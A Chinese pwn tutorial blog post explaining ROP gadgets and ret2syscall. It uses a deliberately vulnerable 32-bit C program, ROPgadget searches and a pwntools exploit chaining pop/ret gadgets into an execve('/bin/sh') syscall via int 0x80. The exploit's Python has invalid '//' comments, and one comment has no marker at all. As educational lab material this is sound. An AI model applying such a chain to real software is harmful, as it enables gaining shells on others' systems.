天天看點

pwn學習---ropgadget和ret2syscall

ROP的全稱為Return-oriented programming(傳回導向程式設計),這是一種進階的記憶體攻擊技術,攻擊者掃描已有的動态連結庫和可執行檔案,提取出可以利用的指令片段(gadget),這些指令片段均以ret指令結尾,即用ret指令實作指令片段執行流的銜接,進而建構惡意代碼。可以用來繞過現代作業系統的各種通用防禦(比如記憶體不可執行和代碼簽名等)。

ret2syscall,即控制程式執行系統調用,擷取 shell。

接下來我們看一個示例,在read函數這裡會出現緩沖區溢出。

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
void exploit()
{
         system("/bin/sh");
}
void func()
{
             char str[0x20];
             read(0,str,0x50);
}
int main()
{
           func();
           return 0;
}
           

進行編譯

gcc -no-pie -fno-stack-protector  -static -m32  -o 7.exe 7.c
           

-static :靜态編譯

檢視保護機制

pwn學習---ropgadget和ret2syscall

這裡很奇怪,明明指令已經關閉了canary棧保護,可是這裡還是顯示開啟了棧保護,更奇怪的是這個并沒有影響溢出的結果。

定位溢出點(這裡簡寫了,可以檢視我之前的文章有專門講定位溢出點的方法和過程)

cyclic 100
cyclic -l laaa
           
pwn學習---ropgadget和ret2syscall

結果是44

查找pop…ret以及/bin/sh和int 0x80的位址

隻要我們把對應擷取 shell 的系統調用的參數放到對應的寄存器中,那麼我們在執行 int 0x80 就可執行對應的系統調用。比如說這裡我們利用如下系統調用來擷取 shell

execve的系統調用号是0x0b

execve系統調用号賦給eax寄存器,将參數”/bin/sh”的位址指派給ebx寄存器,參數NULL,NULL指派給ecx和edx寄存器,觸發 0x80 号中斷

利用ROPgadget的工具查找eax ebx ecx edx的位址(即pop…ret的位址),以及/bin/sh和int 0x80的位址。即:

------ ---------------分割線---------------------

系統調用号,即 eax 應該為 0xb

第一個參數,即 ebx 應該指向 /bin/sh 的位址

第二個參數,即 ecx 應該為 0

第三個參數,即 edx 應該為 0

------ ---------------分割線---------------------

而我們如何控制這些寄存器的值 呢?這裡就需要使用 gadgets。比如說,現在棧頂是 10,那麼如果此時執行了 pop eax,那麼現在 eax 的值就為 10。但是我們并不能期待有一段連續的代碼可以同時控制對應的寄存器,是以我們需要一段一段控制,這也是我們在 gadgets 最後使用 ret 來再次控制程式執行流程的原因。具體尋找 gadgets 的方法,我們可以使用 ropgadgets 這個工具。

ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
ROPgadget --binary ./7.exe --string "/bin/sh"
ROPgadget --binary ./7.exe --only "int"|grep "0x80"
           
pwn學習---ropgadget和ret2syscall

poc

找到了位址之後就可以寫poc了!

from pwn import *
#context(arch="i386",os="linux")
p=process('./7.exe')
offset = 44
add_eax=p32(0x080aaa06)     // pop eax ; ret 的位址
value_eax=p32(0xb)             //eax的值是0xb
add_edx_ecx_ebx=p32(0x0806f711)   pop edx;pop ecx; pop ebx ;ret 的位址
value_ebx=p32(0x080ae008)        //ebx指向/bin/sh的位址
value_ecx=p32(0)
value_edx=p32(0)
add_int=p32(0x0804a3d2)        //
payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
#pid=proc.pidof(p)
#print pid
#pause()
p.sendline(payload)
p.interactive()
           

構造的payload為

payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
           
pwn學習---ropgadget和ret2syscall

成功!

參考文章:

https://blog.csdn.net/qq_44759495/article/details/89474281

https://www.cnblogs.com/ichunqiu/p/9288935.html